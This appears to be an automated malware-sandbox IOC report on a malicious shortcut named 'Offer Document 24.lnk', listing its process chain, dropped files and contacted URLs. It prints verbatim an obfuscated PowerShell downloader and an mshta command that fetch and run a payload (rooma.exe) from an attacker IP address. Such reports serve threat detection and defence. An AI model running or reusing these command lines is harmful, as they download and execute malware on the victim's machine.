IOC Report
Offer Document 24.lnk

Offer Document 24.lnk

MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=0, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized

initial sample

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\room4[1].hta

HTML document, ASCII text, with very long lines (9201), with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\rooma.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://20.86.128.223/room/room4.hta'

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" http://20.86.128.223/room/room4.hta

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LQhlh($iAXOUnjQ, $bjGcHEb){[IO.File]::WriteAllBytes($iAXOUnjQ, $bjGcHEb)};function zkkoODnkdOXlr($iAXOUnjQ){if($iAXOUnjQ.EndsWith((KgQIevZJx @(47125,47179,47187,47187))) -eq $True){rundll32.exe $iAXOUnjQ }elseif($iAXOUnjQ.EndsWith((KgQIevZJx @(47125,47191,47194,47128))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $iAXOUnjQ}elseif($iAXOUnjQ.EndsWith((KgQIevZJx @(47125,47188,47194,47184))) -eq $True){misexec /qn /i $iAXOUnjQ}else{Start-Process $iAXOUnjQ}};function fbUysIvJpUzDJbgt($WeuPtAwBrGuTyyLeSBEJ){$TPKepUYDmoAFjOHRfuEf = New-Object (KgQIevZJx @(47157,47180,47195,47125,47166,47180,47177,47146,47187,47184,47180,47189,47195));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$bjGcHEb = $TPKepUYDmoAFjOHRfuEf.DownloadData($WeuPtAwBrGuTyyLeSBEJ);return $bjGcHEb};function KgQIevZJx($eTHmOcKqIU){$kIWXaGUQZYbt=47079;$PDFpjjruzXwZezIX=$Null;foreach($QNJiuRDs in $eTHmOcKqIU){$PDFpjjruzXwZezIX+=[char]($QNJiuRDs-$kIWXaGUQZYbt)};return $PDFpjjruzXwZezIX};function iMoBwPUgEkDDhYs(){$bzNVNMxsa = $env:AppData + '\';$fLaod = $bzNVNMxsa + 'rooma.exe'; if (Test-Path -Path $fLaod){zkkoODnkdOXlr $fLaod;}Else{ $movKnuBo = fbUysIvJpUzDJbgt (KgQIevZJx @(47183,47195,47195,47191,47137,47126,47126,47129,47127,47125,47135,47133,47125,47128,47129,47135,47125,47129,47129,47130,47126,47193,47190,47190,47188,47126,47193,47190,47190,47188,47176,47125,47180,47199,47180));LQhlh $fLaod $movKnuBo;zkkoODnkdOXlr $fLaod;};;;;}iMoBwPUgEkDDhYs;

C:\Users\user\AppData\Roaming\rooma.exe

"C:\Users\user\AppData\Roaming\rooma.exe"

C:\Program Files (x86)\QiaIEkSaKRjYgraAccrwCxYevAdoYwcGJiViCUCiHSVvXqyFaUAdZZI\TmjHHkXnMrncRmISMzN.exe

"C:\Program Files (x86)\QiaIEkSaKRjYgraAccrwCxYevAdoYwcGJiViCUCiHSVvXqyFaUAdZZI\TmjHHkXnMrncRmISMzN.exe"

C:\Windows\SysWOW64\netbtugc.exe

"C:\Windows\SysWOW64\netbtugc.exe"

C:\Program Files (x86)\QiaIEkSaKRjYgraAccrwCxYevAdoYwcGJiViCUCiHSVvXqyFaUAdZZI\TmjHHkXnMrncRmISMzN.exe

"C:\Program Files (x86)\QiaIEkSaKRjYgraAccrwCxYevAdoYwcGJiViCUCiHSVvXqyFaUAdZZI\TmjHHkXnMrncRmISMzN.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"

http://20.86.128.22

unknown

http://20.86.12

unknown

http://20.86.128.223/

unknown

http://20.86.128.

unknown

http://20.86.128.223

unknown

http://pesterbdd.com/images/Pester.png

unknown

http://20.8

unknown

http://20.86.

unknown

http://20.86.128.223/room/rooma.exe

20.86.128.223

http://20.86.128.223/room

unknown